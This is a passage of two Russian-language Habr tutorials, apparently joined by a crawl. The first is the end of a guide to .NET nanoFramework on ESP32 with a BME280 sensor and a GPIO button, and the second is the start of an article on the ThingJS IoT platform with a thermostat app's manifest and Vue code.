throw new ArgumentException();
return ((port - 'A') * 16) + pin;
}
}
}
```
**Разберем пример:**
* **int PinNumber(char port, byte pin)** — функция конвертации буквенного обозначения контактов в номерной;
* **gpio.OpenPin(LED\_PIN)** — открывает контакт для его использования;
* **ledPin.SetDriveMode(GpioPinDriveMode.Output)** — установка направления работы контакта — вход/выход (GpioPinDriveMode.Input/GpioPinDriveMode.Output);
* **ledPin.Write(ledPinValue)** — подает логический «0»GpioPinValue.Low или «1»(GpioPinValue.High) на контакт;
* **buttonPin.IsDriveModeSupported(GpioPinDriveMode.InputPullUp)** — проверка наличия подтягивающего резистора (pull-up);
* **buttonPin.SetDriveMode(GpioPinDriveMode.InputPullUp)** — включение режима работы контакта на ввод с поддержкой pull-up;
* **buttonPin.DebounceTimeout** — интервал в течение которого не будут регистрироваться события (необходимо для исключения дребезга контактов);
* **buttonPin.ValueChanged** — подпись на событие изменения состояния;
* **void buttonPin\_ValueChanged** — функция, которая вызывается при изменение состояния кнопки. Свойство **e.Edge** принимает значение GpioPinEdge.RisingEdge(изменение с «0» на «1»), или GpioPinEdge.FallingEdge (изменение с «1» на «0»).
**Демонстрация работы программного кода:**
Подключение датчика BME280 к шине I2C
=====================================
Модуль BME280 фирмы Bosch Sensortec предназначен для измерения атмосферного давления, температуры и влажности. По сравнению с первыми датчиками серии (BMP085 и BMP180), он имеет лучшие характеристики и меньшие размеры. Отличие от датчика BMP280 – наличие гигрометра, что позволяет измерять относительную влажность воздуха и создать на его основе маленькую метеостанцию.
Назначение контактов:
* VCC — питание модуля 3.3 В или 5 В;
* GND — Ground;
* SCL — линия тактирования (Serial CLock);
* SDA — линия данных (Serial Data).
Модуль работает по двухпроводному интерфейсу I2C, адрес по умолчанию **0x76**. Данный датчик уже был использован в проекте [Метеостанция на Banana Pi M64 (Linux, C#, Docker, RabbitMQ, AvaloniaUI)](https://habr.com/ru/company/timeweb/blog/569748/), поэтому детальнее ознакомится с характеристиками и шиной I2C можно по вышеуказанной ссылке. Подключим датчик BME280 к отладочной плате ESP32 DevKit v1.
[](https://habrastorage.org/webt/wh/p3/jv/whp3jvi_ofkwogcelmfepfaofji.jpeg)
*Отладочная плата ESP32 DevKit v1 с датчиком BME280*
**Схема подключения BME280 к шине I2C отладочной платы ESP32 DevKit v1**
[](https://habrastorage.org/webt/87/o4/lh/87o4lhhk98gdbonj--arghpb4uc.png)
Создадим новый проект [nanoframework-esp32-bme280](https://github.com/devdotnetorg/nanoFramework-samples/tree/master/nanoframework-esp32-bme280), и добавим для работы с шиной I2C Nuget-пакет: [nanoFramework.System.Device.I2c](https://github.com/nanoframework/System.Device.I2c). Драйвер для работы с BME280 возьмем с каталога драйверов nanoFramework.IoT.Device — [BMxx80 Device Family](https://github.com/nanoframework/nanoFramework.IoT.Device/blob/develop/devices/Bmxx80/README.md). Перенесем драйвер в папку /libs/. Дополнительно команда разработчиков nanoFramework для работы с физическими величинами используют библиотеку [UnitsNet](https://github.com/angularsen/UnitsNet).
**Файл [Program.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-esp32-bme280/nanoframework-esp32-bme280/Program.cs)**. Инициализация датчика BME280.
```
// when connecting to an ESP32 device, need to configure the I2C GPIOs
// used for the bus
Configuration.SetPinFunction(21, DeviceFunction.I2C1_DATA);
Configuration.SetPinFunction(22, DeviceFunction.I2C1_CLOCK);
// bus id on the MCU
const int busId = 1;
I2cConnectionSettings i2cSettings = new(busId, Bme280.SecondaryI2cAddress);
using I2cDevice i2cDevice = I2cDevice.Create(i2cSettings);
using Bme280 bme80 = new Bme280(i2cDevice)
{
// set higher sampling
TemperatureSampling = Sampling.LowPower,
PressureSampling = Sampling.UltraHighResolution,
HumiditySampling = Sampling.Standard,
};
// set this to the current sea level pressure in the area for correct altitude readings
Pressure defaultSeaLevelPressure = WeatherHelper.MeanSeaLevel;
```
**Разберем пример:**
* **Configuration.SetPinFunction(21, DeviceFunction.I2C1\_DATA)** — функция из пространства имен [nanoFramework.Hardware.Esp32](https://github.com/nanoframework/nanoFramework.Hardware.Esp32). В связи с работой nanoFramework на различных микроконтроллерах, например для работы с I2C, требуется дополнительное конфигурирования контактов. В данном случае для шины I2C с идентификатором «1», передача данных DATA определяется на GPIO21;
* **busId = 1** — идентификатор шины I2C — 1;
* **new I2cConnectionSettings(busId, Bme280.SecondaryI2cAddress)** — создание конфигурации устройства I2C, указывается идентификатор шины I2C и адрес устройства(0x76);
* **I2cDevice.Create(i2cSettings)** — создание I2C устройства;
* **new Bme280(i2cDevice)** — инициализация датчика BME280;
* **TemperatureSampling, PressureSampling, HumiditySampling** — указание точности измерений физических величин;
* **WeatherHelper.MeanSeaLevel** — для определения уровня высоты указывается точка отсчета от уровня моря.
**Файл [Program.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-esp32-bme280/nanoframework-esp32-bme280/Program.cs)**. Чтение данных с датчика BME280.
```
// Perform a synchronous measurement
var readResult = bme80.Read();
// Note that if you already have the pressure value and the temperature, you could also calculate altitude by using
// var altValue = WeatherHelper.CalculateAltitude(preValue, defaultSeaLevelPressure, tempValue) which would be more performant.
bme80.TryReadAltitude(defaultSeaLevelPressure, out var altValue);
Debug.WriteLine($"Temperature: {readResult.Temperature.DegreesCelsius}\u00B0C");
Debug.WriteLine($"Pressure: {readResult.Pressure.Hectopascals}hPa");
Debug.WriteLine($"Altitude: {altValue.Meters}m");
Debug.WriteLine($"Relative humidity: {readResult.Humidity.Percent}%");
```
**Разберем пример:**
* **bme80.Read()** — чтение показаний датчика;
* **bme80.TryReadAltitude** — получение значения высоты над уровнем моря;
* **readResult.Temperature, readResult.Pressure, readResult.Humidity** — получение данных температуры, давления, влажности.
Запустим проект:
[](https://habrastorage.org/webt/rp/ds/_y/rpds_ytmdtj6zdjsdc5z4tc66te.png)
*Чтение данных с датчика BME280 на nanoFramework*
Для вывода данных планировалось подключить OLED-дисплей [SSD1306](https://robotchip.ru/obzor-oled-displey-na-ssd1306/) с разрешением 128х64 точек. Но как оказалось, не все так просто. Существует два варианта данного дисплея, только с шиной I2C и шиной I2C/SPI. Именно второй вариант был приобретен. Особенностью управления по шине I2C варианта I2C/SPI являлось наличие дополнительного контакта для инициализации. Была перенесена логика инициализации с примера для Arduino, но видимо что-то пошло не так и инициализация не удалась. Поэтому при использовании в проектах nanoFramework подключайте SSD1306 только с шиной I2C (драйвер — [SSD13xx & SSH1106 OLED display family](https://github.com/nanoframework/nanoFramework.IoT.Device/blob/develop/devices/Ssd13xx/README.md)). Вместо датчика BME280 можно использовать альтернативный более простой [BMP180 — barometer, altitude and temperature sensor](https://github.com/nanoframework/nanoFramework.IoT.Device/blob/develop/devices/Bmp180/README.md).
Сравнение переносимости кода между проектами .NET IoT для Linux и nanoFramework
===============================================================================
Основой для nanoFramework послужил проект .NET Micro Framework, который впоследствии Microsoft прекратила развивать. Компания GHI Electronics единственная продолжательница исходного .NET Micro Framework сохранившая преемственность старого кода. Разработчики nanoFramework поступила иначе, они взяли главную идею и структуру внутренней реализации, но откинув прошлое, реализовали платформу совместимую по интерфейсам API с «большим» фреймворком .NET IoT. Это сразу решило множество задач:
* Разработчики решений .NET IoT могут писать код для nanoFramework без необходимости переучивания;
* Драйвера к датчикам из .NET IoT практически без изменений можно перенести в nanoFramework;
* Объединенная кодовая база дает двойное преимущество. В одном устройстве можно реализовать сопряжение одноплатного компьютера и микроконтроллера используя платформу .NET с общими классами.
В связи с малыми ресурсами микроконтроллеров, 100% переносимости кода не будет, но вычислительные способности микроконтроллеров растут, и с расчетом на будущее, совместимость потенциально может только возрасти.
В качестве примера проверки совместимости, для проекта на .NET IoT был взял драйвер/класс кнопки [Button](https://github.com/nanoframework/nanoFramework.IoT.Device/blob/develop/devices/Button/README.md) (nanoFramework.IoT.Device), позволяющий подписываться на события одиночного и двойного клика, с фильтрацией дребезга кнопки. Классы драйвера Button в проект [dotnet-iot-button-from-nanoframework](https://github.com/devdotnetorg/dotnet-iot-samples/tree/master/dotnet-iot-button-from-nanoframework) были перенесены без какого либо изменения, располагаются по пути [/libs/Button/](https://github.com/devdotnetorg/dotnet-iot-samples/tree/master/dotnet-iot-button-from-nanoframework/libs/Button).
[](https://habrastorage.org/webt/gq/hx/vz/gqhxvzf52hgvsxn57lwjkkbxkt8.jpeg)
*Кнопка для проекта dotnet-iot-button-from-nanoframework*
Кнопка подключена на контакт GPIO38 одноплатного компьютера [Banana Pi BPI-M64](https://devdotnet.org/post/otladochnaya-plata-banana-pi-bpi-m64/), как и в проекте [Управляем контактами GPIO из C# .NET 5 в Linux на одноплатном компьютере Banana Pi M64 (ARM64) и Cubietruck (ARM32)](https://habr.com/ru/company/vdsina/blog/555598/). В Program.cs добавим следующий код:
**Файл [Program.cs](https://github.com/devdotnetorg/dotnet-iot-samples/blob/master/dotnet-iot-button-from-nanoframework/dotnet-iot-button-from-nanoframework/Program.cs)**.
```
//for Linux
const int GPIOCHIP = 1;
const int BUTTON_PIN = 38;
GpioController controller;
var drvGpio = new LibGpiodDriver(GPIOCHIP);
controller = new GpioController(PinNumberingScheme.Logical, drvGpio);
// Initialize a new button with the corresponding button pin
GpioButton button = new(buttonPin: BUTTON_PIN,controller);
Debug.WriteLine("Button is initialized, starting to read state");
....
```
Единственное отличие от nanoFramework, исключая другие номера контактов, заключается в выборе драйвера для доступа к GPIO. В ОС в качестве драйвера можно выбирать: LibGpiodDriver, RaspberryPi3Driver и SysFsDriver. Далее со строки *GpioButton button = new(buttonPin: BUTTON\_PIN,controller)*, все вызовы функций в исходном коде не отличаются от реализации для nanoFramework. Все работает без исключений!
[](https://habrastorage.org/webt/ks/b0/yd/ksb0ydpj_5s4v_cisawheyfrpqs.png)
*Запуск проекта в Visual Studio Code с драйвером Button из nanoFramework в проекте .NET IoT для Linux*
Возможно один небольшой проект не будет репрезентативной выборкой, но команда разработчиков nanoFramework уже достигла впечатляющих результатов. Сам факт возможности переноса кода существенно расширяет сферы использования платформы nanoFramework.
**Итог**
========
В свое время проект Arduino взорвал рынок программирования для микроконтроллеров, в одно мгновение выяснилось, что для управления контактами GPIO, работы с шиной I2C и сетью, не требуется мозга размером с вселенную. Разрабатывать небольшие устройства могут и школьники, то что раньше было просто невозможно, оказалось вполне себе реализуемым. Большой популярностью Arduino обязан двум вещам, это скрытие сложной внутренней реализации без ущерба функциональности управления устройством и легкости программирования, используя Arduino IDE. Проект nanoFramework достиг той же высоты. Теперь до прошивки устройства, вы можете выяснить спецификацию и выбрать подходящую прошивку. Процесс прошивки не требует особых познаний, главное установить драйвера для моста UART и вовремя нажимать на кнопку Boot, а в некоторых случаях и этого не требуется. Для написания кода необходимо установить бесплатную Visual Studio 2019 Community и расширение .NET nanoFramework VS2019 Extension. В Visual Studio доступна интерактивная отладка с просмотром содержимого переменных, что более чем достаточно для комфортного кодинга. Управление устройствами в nanoFramework так же удобно, как и в решение GHI Electronics, за исключение работы не ниже ОС Windows 10.
Сама платформа nanoFramework дает возможность работы с различными микроконтроллерами, скрывая всю сложную реализацию. Причем если используете микроконтроллеры на ChibiOS, то на уровне ОС можете реализовать модули требующие более быстрого отклика, и вызывать необходимые функции ОС из nanoFramework, сочетая быструю скорость вместе с удобным программирование на C#.
Проект nanoFramework быстро развивается, поэтому документирование новых функций пока не поспевает за темпами разработки. Из отрицательных моментов, не понравилась структура проектов-драйверы для датчиков — [GitHub nanoFramework.IoT.Device/devices](https://github.com/nanoframework/nanoFramework.IoT.Device). Драйверы ссылаются на классы из папки [/src/](https://github.com/nanoframework/nanoFramework.IoT.Device/tree/develop/src), которые можно было разместить в общих сборках для nanoFramework. Это несколько ломает красивую структуру. Некоторые драйверы (для BME280), содержат лишние зависимости пакетов, например на — Nerdbank.GitVersioning. Это удобно, если вы занимаетесь тестирование и сборкой проектов для CI и публикации, но если вам необходимо просто скачать и добавить драйвер для своего проекта под ESP32, то это лишние проблемы и сложности, в особенности для новичков.
Очень порадовало существенное расширение перечня микроконтроллеров серии ESP32. Теперь вы можете выбрать себе отладочную плату на свой вкус и цвет.
Что дальше?
===========
Одной из сильных сторон nanoFramework заключается в отличной поддержки сетевых протоколов из коробки. Даже есть «упрощенная версия» ASP.NET — библиотека [nanoFramework.WebServer](https://github.com/nanoframework/lib-nanoFramework.WebServer). Создание Wi-Fi сканера, Web API, отправка данных в облако, работа с брокерами сообщений RabbitMQ, будет в продолжении. И конечно же подключим LCD экран для интерактивного взаимодействия с устройством.
Дополнение. Отладочная плата TTGO T-Energy с модулем ESP32-WROVER-B
===================================================================
Когда пост уже был закончен пришла отладочная плата на базе модуля ESP32-WROVER-B. Полное наименование платы — [LILYGO TTGO T-Energy ESP32 8MByte PSRAM WiFi & Bluetooth Module 18650 Battery ESP32-WROVER-B Development Board](http://www.lilygo.cn/prod_view.aspx?TypeId=50033&Id=1170&FId=t3:50033:3).
[](https://habrastorage.org/webt/kf/92/yn/kf92ynaxxizwyorhq6oaakhttd4.png)
*Идентификационная информация отладочной платы*
На скриншоте можно увидеть наименование чипа **ESP32-D0WD-V3** последней версии/ревизии чипа ESP32. Утилита почему-то не распознала наличие PSRAM в модуле объемом 8 Мбайт.
Ресурсы
=======
* [.NET NANOFRAMEWORK — Making it easy to write C# code for embedded systems](https://nanoframework.net/)
* [GitHub nanoFramework](https://github.com/nanoframework)
* [Документация nanoFramework](https://docs.nanoframework.net/)
* [API Docs .NET nanoFramework](https://docs.nanoframework.net/api/index.html)
* [.NET nanoFramework — платформа для разработки приложений на C# для микроконтроллеров](https://habr.com/ru/post/549012/)
* [Samples — nanoFramework](https://github.com/nanoframework/Samples)
* [Драйверы к датчикам, дисплеям, модулям — nanoFramework.IoT.Device](https://github.com/nanoframework/nanoFramework.IoT.Device)
* [nanoFirmwareFlasher — allows flashing a .NET nanoFramework target with nanoBooter, nanoCLR, managed application or backup files](https://github.com/nanoframework/nanoFirmwareFlasher)
* [Отладочные платы поддерживаемые сообществом — nf-Community-Targets](https://github.com/nanoframework/nf-Community-Targets)
* [Репозиторий сообщества. Драйверы, расширения, утилиты, демонстрации функций](https://github.com/nanoframework/nf-Community-Contributions)
[](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low) | https://habr.com/ru/post/584144/ | null | ru | null |
# Термостат на ThingJS (beta)
Почти год назад я [представил](https://habr.com/ru/post/474356) свой pet-проект — IoT платформу ThingJS. Честно сказать, я не достиг всех целей, которые ставил перед собой публикуя ту статью. Но работа окупилась. Удалось получить нечто иное — полезную критику.
Я учел прошлый опыт. Теория без практики заходит плохо. В этот раз презентация будет построена на базе прикладного решения. Каждый сможет “потрогать” его и использовать в быту.
Но сначала немного общей информации.
**Оглавление**
* [Введение](#overview)
* [Архитектура](#architecture)
+ [UBUS](#ubus)
+ [Storage](#storage)
+ [API](#api)
+ [Resource interfaces](#interfaces)
+ [Разделение ресурсов](#share)
* [Термостат на ThingJS](#thermostat)
+ [Прикладное назначение](#purpose)
+ [Аппаратное обеспечение](#hardware)
+ [Развертывание среды разработки приложений](#dev-deploy)
+ [Создание проекта приложения Thermostat](#app-project)
+ [Общее описание приложения](#manifest-overwiev)
+ [components](#maniest-components)
+ [requires](#maniest-requires)
+ [scripts](#maniest-scripts)
+ [Мультиязычность](#manifest-langs)
+ [favicon](#manifest-favicon)
+ [Сборка приложения](#npm-build)
+ [Развертывание приложения на контроллере](#app-deploy)
+ [Использование приложения](#app-use)
* [Безопасность](#secur)
* [Что дальше?](#future)
* [Ссылки](#refs)
Введение
========
ThingJS отличает от других платформ архитектура, позволяющая создавать устройства от любительского до профессионального уровня.
Буквально за несколько минут можно создать бытовое устройство для своих нужд. Для этого в арсенале любителя готовые шаблоны приложений, возможность переиспользовать чужой код и интеграция с большинством IoT сервисов через MQTT.
Профессионал имеет возможность дорабатывать прошивку, делая надежные устройства. Развивать качественный UI, построенный на современных WEB технологиях. Выпускать готовые устройства.
Но самое значимое в том, что оба этих очень разных “мира” могут сосуществовать в гармонии. Это возможно через уникальную особенность платформы — приложения.
Если приводить простейшую аналогию, платформа напоминает ОС. Ее развитием занимаются майнтейнеры ядра (core) и разработчики драйверов (Resource Interfaces). Прикладные разработчики делают важные и нужные программы (приложения платформы), которые “оживляют” UI девелоперы. Все это, конечно, для любимого пользователя.
Слой разработки покрыт профессиональным стеком. Нет специально выдуманных IDE. Только проф: СLion, CMake, webpack, npm и т.д. Лучшие практики полностью релевантны при разработке для ThingJS. [TDD](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) инструмент в комплекте.
Платформа может “жить” как в автономном устройстве, так и интегрироваться с облачными сервисами. Она не “прибита гвоздями” к вендору. Не “стучит куда надо”. В нее заложены принципы открытости и безопасности для пользователя.
Если вы хотите сразу попробовать платформу, достаточно воспользоваться [пользовательским пакетом](https://github.com/rpiontik/ThingJS-user-packet). Все инструкции по развертыванию и использованию там же.
Архитектура
===========
В настоящий момент runtime платформы представляет из себя прошивку для контроллеров [ESP32](https://ru.wikipedia.org/wiki/ESP32). Любой желающий может расширять ее функциональность и адаптировать под себя.
На базе прошивки функционируют приложения платформы. Приложение это комплект backend и frontend скриптов поставляемых в специальном файле — бандле приложения. В него входят:
* Манифест приложения (обязательно);
* Frontend (опция);
* Backend (опция);
* Иконка приложения (обязательно);
* Предзаполненные хранилища (опция);
* Мультиязычный пакет (опция);
* Прочие файлы (опция).
Backend скрипты исполняются контроллером. Для этого используется облегченный JavaScript — [mJS](https://github.com/mongoose-os-libs/mjs).
Frontend почти классическое SPA WEB-приложение. Отличие заключается во встроенных интерфейсах взаимодействия с контроллером. Взаимодействуют части приложения исключительно через два интерфейса: UBUS и Storage.
UBUS
----
Универсальная шина обмена данными. Обмен производится в формате JSON-пакетов. В пакет входит идентификатор события и данные. Шина не имеет четких границ распространения информации. Любой подписант на события входящий в контур распространения может получить сообщение и обработать его.
Контур распространения это некоторое подмножество обработчиков, которым разрешено получать сообщения шины. Они также могут посылать сообщения в шину. Обработчиком может быть frontend, backend, прошивка, облако, другие устройства.
Сообщения могут распространяться любыми доступными средствами. На схеме контроллер и frontend обмениваются сообщениями по WEBSocket.
Например, если frontend отсылает сообщение в шину, его получат все установленные на контроллере приложения. Но есть условие — они должны быть подписаны на эти сообщения. Это же справедливо для отсылки сообщения из backend.
Важным свойством шины является негарантированная доставка сообщений.
Таким образом, платформа предлагает асинхронное событийное взаимодействие компонентов системы. Предполагается, что любой компонент системы, в любой момент может перестать быть доступным.
Storage
-------
Формализованное хранилище приложения. Описывается в манифесте. Доступ к нему имеет как frontend, так и backend.
Хранилище не является СУБД. Необходимо рассматривать его как файл, в который могут вносить изменения несколько потоков. Когда в нем происходят изменения, платформа генерирует событие об изменении в хранилище. Событие генерируется тогда, когда данные сохранены.
У хранилища нет четкой локализации размещения. Предполагается, что оно может располагаться как на контроллере, так и в облаке. Облачной реализации на текущий момент нет.
Хранилище дает возможность накапливать данные. Например, вести лог показаний датчиков. Или хранить конфигурацию устройства.
Поддержание консистентности данных реализуется самой платформой. Необходимо учитывать, что в любой момент хранилище может быть очищено. Это возможно по различным причинам. Например, по желанию пользователя освободить место.
API
---
Базовый набор функций платформы реализуется через API. Например, доступ к ресурсам через глобальный интерфейс $res или к шине через $bus.
Перечень API функций минимизирован для упрощения и унификации. Все, что возможно, вынесено в понятие ресурсных интерфейсов (Resource interfaces).
Resource interfaces
-------------------
На самом деле сама платформа, это больше свод правил с частной реализацией. Т.е. той, которую сделал я. Практические каждый элемент в ней может быть заменен. Например, можно полностью поменять launcher, выпилить vuetifyjs или переделать все под React.
Ресурсные интерфейсы решают ту же задачу — кастомизация. Вы можете расширять функциональность платформы по своему усмотрению. Реализации существующих интерфейсов можно найти [тут](https://github.com/rpiontik/ThingJS-stdi/tree/beta) в исходных кодах.
Интерфейс не обязан быть простым. Он может предоставлять доступ к бизнеслогике в прошивке. Например, можно на FreeRTOS реализовать термостат и предоставить скриптам интерфейс, который позволяет лишь указывать параметры работы. Наглядным примером такого подхода является интерфейс [SmartLED](https://github.com/rpiontik/ThingJS-stdi/blob/beta/implementation/SMART_LED.md).
При регистрации интерфейса в платформе, указывается его имя. Если приложение собирается воспользоваться им, оно должно в манифесте определить это. При установке происходит проверка на доступность запрашиваемых интерфейсов. Если обязательного интерфейса нет, приложение не будет установлено. Таким образом поддерживается совместимость приложений и частной реализации прошивки.
Разделение ресурсов
-------------------
Фундаментальным свойством платформы является разделение ресурсов между приложениями. На одном контроллере могут быть развернуты несколько приложений.
Разделение ресурсов возможно двумя путями:
* При установке приложение запрашивает ресурсы и пользователь по своему выбору делегирует их;
* Приложение требует совершенно конкретные ресурсы.
Первый случай более демократичен. Пользователь может сам конфигурировать приложение. Например, выдавая GPIO устройства. Таким образом, приложение будет адаптировано для ресурсного ландшафта конкретного устройства.
Но такой подход требует определенных знаний у пользователя. Эта концепция хорошо подходит для любительской разработки.
Второй вариант не подразумевает вмешательство пользователя в назначение ресурсов приложению. Он может либо поставить приложение, либо отказаться от установки.
Это упрощает выбор пользователя, но приводит к тому, что конкурирующие за идентичные ресурсы приложения невозможно будет установить на один контроллер. Такой вариант наиболее приемлем для готовых устройств, где приложение является частью поставки.
Ресурсы делятся на физические и виртуальные. К физическим ресурсам относятся, например, GPIO, внутренние таймеры, UART драйвера и т.п. Эти ресурсы лимитированы. К виртуальным ресурсам можно отнести софтовые таймеры, TCP сокеты и т.д. Их количество, условно, не ограничено.
В целом, это все, что требуется знать для того, чтобы сделать первое приложение для платформы ThingJS.
Термостат на ThingJS
====================
Готовая реализация приложения Thermostat в исходниках доступна [тут](https://github.com/rpiontik/ThingJS-front/tree/beta/src/applications/thermostat).
Прикладное назначение
---------------------
Распространенной задачей является управление климатом. Задача особенно актуальна в строениях нерегулярного пребывания, где требуется поддержание плюсовой температуры. Например, дачи, гаражи. Важно получать информацию о температуре в строении в период отсутствия.
Аппаратное обеспечение
----------------------
Для проекта выбран чип [ESP32](https://ru.wikipedia.org/wiki/ESP32) являющийся приемником известного [ESP8266](https://ru.wikipedia.org/wiki/ESP8266). Это, пожалуй, самый бюджетный и функциональный чип на рынке сегодня. Его тактовая частот 240МГц, два ядра, ОЗУ до 520Кб, Bluetooth, Wifi. Разнообразные GPIO. Немаловажным является наличие аппаратного криптографического ускорителя: ES, SHA-2, RSA, ECC, RNG.
Оптимальным вариантом для энтузиаста станет [ESP32-DevKitC](https://www.euromobile.ru/produkciya/sredstva-razrabotchika/esp32-developement-kit-s/#description).
Развертывание среды разработки приложений
-----------------------------------------
Разработка приложений ведется в хорошо знакомом для JavaScript разработчиков окружении VUE CLI. Можно смело утверждать, что любой frontend разработчик быстро разберется со средой и получит массу удовольствия при работе с ней.
Ключевыми преимуществами среды являются:
* **Внутрисистемная отладка** — Вы можете отлаживать работу приложения непосредственно на контроллере.
* **Горячая перезагрузка скрипта на контроллер (hot reload)** — Работает аналогично горячей перезагрузкой скриптов в браузере. Только загружает скрипты на контроллер. Это радикально упрощает разработку.
* **Локальный dev сервер** — Разрабатывать приложения вы сможете в привычной среде локального dev-сервера на NodeJS. При этом, нужные запросы будут отсылаться на физический контроллер. В некоторых случаях разработка приложений вообще не требует железа.
Развертывание несложное:
```
git clone --branch beta https://github.com/rpiontik/ThingJS-front
cd ThingJS-front
npm install
```
Далее, запускаем dev сервер:
```
npm run dev
```
Перейдите в браузере по ссылке <http://0.0.0.0:8080/>. Откроется вполне рабочая платформа в dev-режиме. Все приложения будут **почти** работать.
Чтобы приложения работали на 100%, нужно подключить среду к железу. Воспользуйтесь [пользовательским пакетом](https://github.com/rpiontik/ThingJS-user-packet/tree/beta), чтобы подготовить устройство. Подключите его к локальной сети. Затем, в файле /config/dev.env.js укажите IP устройства.
Для того, чтобы dev-среда и устройство “понимали” друг-друга, на устройстве должно быть установлено то приложение, которые вы собираетесь отлаживать. Т.е. если вы хотите “поиграться”, например, с термостатом, установите на контроллер приложение thermostat.smt.
Теперь перезапустите dev сервер и запустите приложение thermostat с рабочего стола. Приложение должно полноценно функционировать.
Для эксперимента, внесите изменения в файл src/applications/thermostat/scripts/thermostat.js. Например, поставьте вначале команду “debugger”. Сохраните файл.
Скрипт будет загружен на контроллер, а dev-среда отобразит запрос на отладку:
Кликнув по ссылке “Start debugger” вы попадете в отладчик.
Код можно выполнять пошагово. Есть возможность мониторить значение переменных в watch панели справа. Снизу выводится лог. А слева навигатор по физическому контроллеру.
Чтобы собрать бандл разработанного приложения, необходимо выполнить команду:
```
npm run build
```
Собранные бандлы приложений будут размещены в папке dist/apps/
Подробнее со средой можно познакомиться в [репе](https://github.com/rpiontik/ThingJS-front/tree/beta).
Создание проекта приложения Thermostat
--------------------------------------
Для создания нового приложения достаточно скопировать и доработать наиболее подходящий из уже существующих примеров. Исходные коды приложения находятся в папке /src/applications/. Для термостата основой станет “blink”. При копировании папки указывается новое название — thermostat.
Далее следует сконфигурировать приложение. Делается это через manifest.json. Именно в этом файле содержится вся ключевая информация о развертывании приложения и его работе. Меняем его под нужды нового приложения и одновременно модифицируем код.
### Общее описание приложения
```
"name": "Thermostat",
"vendor": "rpiontik",
"version": 1,
"subversion": 0,
"patch": 0,
"description": {
"ru": "Термостат",
"en": "Thermostat"
},
```
Блок используется для контроля совместимости приложений при переустановке, а также для предоставления пользователю кратких сведений о назначении приложения.
### components
Блок описывает frontend компоненты приложения.
```
"components": {
"thermostat-app": {
"source": "thermostat.js",
"intent_filter": [
{
"action": "thingjs.intent.action.MAIN",
"category": "thingjs.intent.category.LAUNCH"
}
]
}
},
```
Приложение содержит один компонент — “thermostat-app”. Его код расположен в файле “thermostat.js”. Компонент будет вызван при возникновении намерения удовлетворяющего фильтру указанному в “intent\_filter”. Описанный фильтр соответствует намерению запуска приложения.
Переименовываем файл “blink.js” -> “thermostat.js” Код будет таким:
```
import App from './Thermostat.vue';
import Langs from './langs';
$includeLang(Langs);
$exportComponent('thermostat-app', App);
```
В листинге подключается VUE компонент “Thermostat.vue”. Именно он будет реализовывать интерфейс пользователя. Необходимо связать идентификатор компонента с его реализацией. Это делается так:
```
$exportComponent('thermostat-app', App);
```
Почему так? Ведь в манифесте уже указана связь. На самом деле нет. Манифест сообщил системе, что результатом выполнения файла “thermostat.js” станет регистрация VUE компонента с идентификатором “thermostat-app”. Но в этом же файле могут происходить другие действия по инициализации компонента. В этом случае подключается мультиязычный пакет “langs.js”.
Для завершения описания frontend осталось реализовать сам компонент “Thermostat.vue”. Шаблон я спрячу подкатом. Рассмотрим код.
**template**
```
{{ 'TITLE'|lang }}
==================
{{ 'DESCRIPTION'|lang }}
{{ 'CONTROL'|lang }}
dashboard
{{ 'CLOUD'|lang }}
cloud
{{ state.temp.toFixed(1) }}°
--.--
power
power\_off
cloud
cloud\_off
Android applications:
* [MQTT Dash (RUS)](https://play.google.com/store/apps/details?id=net.routix.mqttdash)
* [IoT MQTT Panel (EN)](https://play.google.com/store/apps/details?id=snr.lab.iotmqttpanel.prod)
Server params:
* Address: mqtt.eclipse.org
* port: 1883
| {{ 'TOPIC'|lang }} | {{ 'TOPIC\_DESCRIPTION'|lang }} |
| --- | --- |
| /thingjs/{{ state.chip\_id }}/temp | {{ 'TOPIC\_TEMP\_DESC'|lang }} |
| /thingjs/{{ state.chip\_id }}/state | {{ 'TOPIC\_STATE\_DESC'|lang }} |
| /thingjs/{{ state.chip\_id }}/target/out | {{ 'TOPIC\_TARGET\_OUT'|lang }} |
| /thingjs/{{ state.chip\_id }}/target/in | {{ 'TOPIC\_TARGET\_IN'|lang }} |
| /thingjs/{{ state.chip\_id }}/mode/out | {{ 'TOPIC\_MODE\_OUT'|lang }} |
| /thingjs/{{ state.chip\_id }}/mode/in | {{ 'TOPIC\_MODE\_IN'|lang }} |
```
```
data () {
return {
modes: [ // Доступные режимы срабатывания термостата.
{ text: 'Less then', value: 0 },
{ text: 'More then', value: 1 },
{ text: 'On', value: 2 },
{ text: 'Off', value: 3 }
],
isHold: false, // Флаг ожидания. Если он установлен, приложение не обрабатывает сообщения из шины.
state: { // Последнее актуальное состояние
connected: null, // Состояние соединения с MQTT брокером
mode: null, // Текущий режим работы
target: null, // Целевая температура
temp: null, // Текущая температура
state: null, // Состояние нагрузки (вкл/выкл)
chip_id: null // Уникальный идентификатор для MQTT брокера.
}
};
}
```
Дам дополнительные пояснения:
**isHold** — Флаг ожидания. Если он установлен, приложение не обрабатывает сообщения из шины. Состояние контроллера будет обновляться каждую секунду. Если отправить команду в шину, ее доставка и обработка займет время. В этот период могут приходить сообщения, которые уже неактуальны. Этот флаг позволяет избавиться от “дребезга” состояния.
**chip\_id** — Уникальный идентификатор чипа. Он необходим для создания уникальных топиков MQTT брокера.
```
mounted () {
this.$bus.$on($consts.EVENTS.UBUS_MESSAGE, (type, data) => {
if (this.isHold) return;
switch (type) {
case 'thermostat-state':
this.state = JSON.parse(data);
break;
}
});
this.refreshState();
},
```
При монтировании компонента происходит подписка на сообщения шины. Обрабатывается событие “thermostat-state”. В сообщении содержится структура состояния контроллера. Если установлен флаг “isHold” обработка событий не происходит.
```
refreshState () {
this.$bus.$emit($consts.EVENTS.UBUS_MESSAGE, 'tmst-refresh-state');
},
```
Метод отправляет сообщение для принудительного обновления статуса контроллера. В ответ контроллер отправляет свое состояние.
```
flushData () {
if (this.isHold) { clearTimeout(this.isHold); }
this.isHold = setTimeout(() => {
this.isHold = null;
this.refreshState();
}, 1000);
},
```
